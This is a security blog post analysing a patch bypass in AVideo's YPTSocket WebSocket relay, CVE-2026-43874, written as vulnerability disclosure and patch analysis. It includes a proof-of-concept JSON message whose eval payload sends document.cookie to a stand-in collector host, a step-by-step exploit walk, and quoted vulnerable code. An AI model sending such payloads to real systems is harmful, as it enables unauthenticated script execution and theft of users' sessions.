//nefariousplan

CVE-2026-43874: AVideo's Patch Stripped `msg`. The Relay Reads `json` First.

patterns

cve

proof of concept

On April 13, 2026, AVideo committed c08694bf6 to fix CVE-2026-40911, an unauthenticated XSS in the YPTSocket WebSocket plugin. The added patch is eight lines. It calls unset($json['msg']['autoEvalCodeOnHTML']), guarded by is_array($json['msg'] ?? null). Eleven days later, the same researcher, offset, reported the same eval sink again. The relay function the patch was supposed to protect, msgToResourceId(), reads $msg['json'] first and reaches $msg['msg'] only when json is empty. The April 13 patch covered the dispatcher's fallback carrier. CVE-2026-43874 is the one the dispatcher reads first. The recursive strip closes this CVE. It does not close the relay that evals whatever survives it.

The strip and the dispatcher are scoped to different keys

YPTSocket is AVideo's WebSocket plugin. It exists to push server-originated UI updates and live signaling into any browser that holds a token. The whole dispatch surface is one PHP class, plugin/YPTSocket/Message.php, that runs inside a Ratchet event loop and relays JSON between callers.

Tokens are issued by an unauthenticated HTTP endpoint, plugin/YPTSocket/getWebSocket.json.php. The check is one line:

if(!AVideoPlugin::isEnabledByName("YPTSocket")){
    $obj->msg = "Socket plugin not enabled";
    die(json_encode($obj));
}
$obj->error = false;
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();

getEncryptedInfo() mints a token valid for twelve hours, whose from_users_id field is whatever User::getId() returns for the caller. A caller who has not logged in gets a token whose user id is zero, whose sentFrom is the string 'browser', and whose isCommandLineInterface is false. Those three fields are exactly what the server uses, eleven days later, to decide whether to strip eval-able payload from the caller's messages.

The dispatch switch in Message::onMessage reads $json->msg as the case selector. Three reserved values get reserved handling (webSocketToken registers the client, getClientsList returns the online list, TESTING echoes back). Everything else falls into default:, which is where the strip lives. After the April 13 patch, the relevant lines were:

default:
    $this->msgToArray($json);
    if (isset($json['from_identification'])) {
        $json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));
    }
    if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
        if (is_array($json['msg'] ?? null)) {
            unset($json['msg']['autoEvalCodeOnHTML']);
        }
        if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
            unset($json['callback']);
        }
    }
    if (!empty($msgObj->send_to_uri_pattern)) {
        $this->msgToSelfURI($json, $msgObj->send_to_uri_pattern);
    } else if (!empty($json['resourceId'])) {
        $this->msgToResourceId($json, $json['resourceId']);
    } else if (!empty($json['to_users_id'])) {
        $this->msgToUsers_id($json, $json['to_users_id']);
    } else {
        $this->msgToAll($from, $json);
    }

The strip checks two conditions. The first: $json['msg'] must be an array. If it is, autoEvalCodeOnHTML is unset from it. The second: a callback field, if present, must match a JavaScript identifier regex. Both gates target the fields the developer perceived as the relay's payload carriers.

Then control passes to one of four dispatch helpers. Each takes $json and forwards it to msgToResourceId, which is the only function in this file that calls $conn->send. Inside msgToResourceId, the payload selection is at lines 329 to 335:

if (!empty($msg['json'])) {
    $obj['msg'] = $msg['json'];
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];
} else {
    $obj['msg'] = $msg;
}

$msg['json'] is the first read. $msg['msg'] is the fallback. $msg itself is the last resort. The April 13 strip ran on one of those three keys, and not the one the dispatcher reads first. This is the aliased-carrier-bypass shape: a strip scoped to a single field name, a dispatcher whose surface is a preference list, and the bypass living in the dispatcher's first preference.

The bypass is one JSON field

The request the bypass uses:

{
  "webSocketToken": "<token from getWebSocket.json.php>",
  "msg": "x",
  "to_users_id": "<numeric user id of any logged-in target>",
  "json": {
    "autoEvalCodeOnHTML": "fetch('https://collector.example/c?'+document.cookie)"
  }
}

The walk:

  1. The token is bound to user 0, sentFrom = 'browser', isCommandLineInterface = false. The endpoint that issued it requires no authentication beyond the plugin being enabled.
  2. The message arrives at Message::onMessage. The switch case $json->msg is the string "x". No reserved case matches. Control falls to default:.
  3. msgToArray($json) converts the decoded object to an array via object_to_array. $json['msg'] is the string "x".
  4. The strip's outer condition is true (isCommandLineInterface is empty, sentFrom is 'browser', not 'php'). The inner gate is is_array($json['msg'] ?? null), which evaluates is_array("x"), which is false. The strip is skipped.
  5. Dispatch hits the to_users_id branch. msgToUsers_id iterates the target user's open resource ids and calls msgToResourceId($json, $resourceId) for each.
  6. msgToResourceId reads $msg['json'] first. The attacker's value is non-empty: {"autoEvalCodeOnHTML": "fetch(...)"}. $obj['msg'] is assigned that value verbatim.
  7. json_encode($obj) serializes the envelope and the loop sends it to the target's open WebSocket.
  8. The target's browser is already running plugin/YPTSocket/script.js, and the inbound handler executes:
if (json.msg?.autoEvalCodeOnHTML !== undefined) {
    eval(json.msg.autoEvalCodeOnHTML);
}

The eval sink runs in the target's origin with the target's session cookie. The attacker picked the target by passing a numeric user id. An unauthenticated caller now executes JavaScript in any logged-in user's browser, including any admin currently connected.

There are two compounding errors. The first is the is_array gate, which makes the strip skip whenever msg is a scalar. The second, and the larger one, is the dispatcher's preference order itself. Three carriers; the patch named one. An attacker who wanted to could put the payload in $json['msg'] as an array and the strip would fire, but they have no reason to, because the dispatcher prefers $msg['json'] over $msg['msg'] anyway. Either way, the payload reaches the client.

The April 24 commit's own comment names three carriers

The fix landed eleven days later as commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce, authored by Daniel Neto. The author's comment in the diff is the testimony:

                 if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
-                    if (is_array($json['msg'] ?? null)) {
-                        unset($json['msg']['autoEvalCodeOnHTML']);
-                    }
+                    // Remove from any nested carrier so msgToResourceId cannot relay it via msg/json/fallback paths.
+                    $this->removeAutoEvalCodeOnHTMLRecursive($json);
                     if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
                         unset($json['callback']);
                     }
                 }

The added comment names three paths: msg, json, and fallback. The April 13 patch covered one of those three. The April 24 patch walks the entire $json tree recursively, unsetting autoEvalCodeOnHTML wherever it appears, on the explicit theory that the dispatcher reads from more places than the patch author had been thinking about. The fix is correct. The fix is also an admission, written in PHP, that the prior patch was scoped to the wrong unit.

The three-carrier preference list in msgToResourceId is older than either CVE. It was written this way long before autoEvalCodeOnHTML existed. Internal call sites in the same file pass payload as json, as msg, and as a raw envelope, and each call site relies on the dispatcher to figure out which key holds the body. The case-handler for getClientsList calls msgToResourceId(array('json' => $this->clientsUsersId, 'callback' => 'loadCallerPanel'), $from->resourceId). The case-handler for TESTING calls msgToResourceId($json, $from->resourceId, TESTING), passing the whole envelope. Different internal callers use different carriers, and the dispatcher fans them all out to one render. The April 13 patch chose one carrier to gate because that was the one the original advisory's PoC put the payload in. The dispatcher's actual surface was always three.

Eleven days, same sink, same reporter

The reporter on both advisories is the same handle: offset. CVE-2026-40911 was published on April 13, the same day the first patch was committed. CVE-2026-43874 was published on April 25, one day after the recursive strip was committed. The same researcher found the original sink, watched the patch land, sent the same payload through the carrier the patch did not name, and reported the bypass inside the same April release window. From advisory to advisory was twelve days.

This is the design-debt-driver shape. The component is the YPTSocket Message relay; the bug class is unauthenticated client message reaches a client-side eval() via a relay carrier the strip did not see. CVE-2026-40911 closed the carrier the original PoC used. CVE-2026-43874 closed the carrier the dispatcher actually preferred. Neither patch addresses the design question that produces the recurring class: a WebSocket server that accepts unauthenticated tokens, relays attacker-supplied JSON, and hands the result to a function the browser is going to eval() a known field of. The autoEvalCodeOnHTML field exists, per the comment added in April, because some server-originated features push code the client should run. The browser cannot distinguish server-originated frames from relayed ones. The strip is the only fence.

The recursive strip is correct against this class of payload field. Two other handles in the same script.js are also code-shaped: the callback field is invoked as a JavaScript function name on the client, and autoUpdateOnHTML updates the rendered DOM. The April 13 patch added a regex on callback to keep it to a valid identifier. The next eval-equivalent field the relay grows, or the next dispatcher path that adds a fourth carrier, will reach the client before the strip is updated to enumerate it. The substrate is unchanged.

PoC: GHSA-ghcv-22jf-vfxm

The recursive strip closes this CVE. It does not close the relay that evals whatever survives it.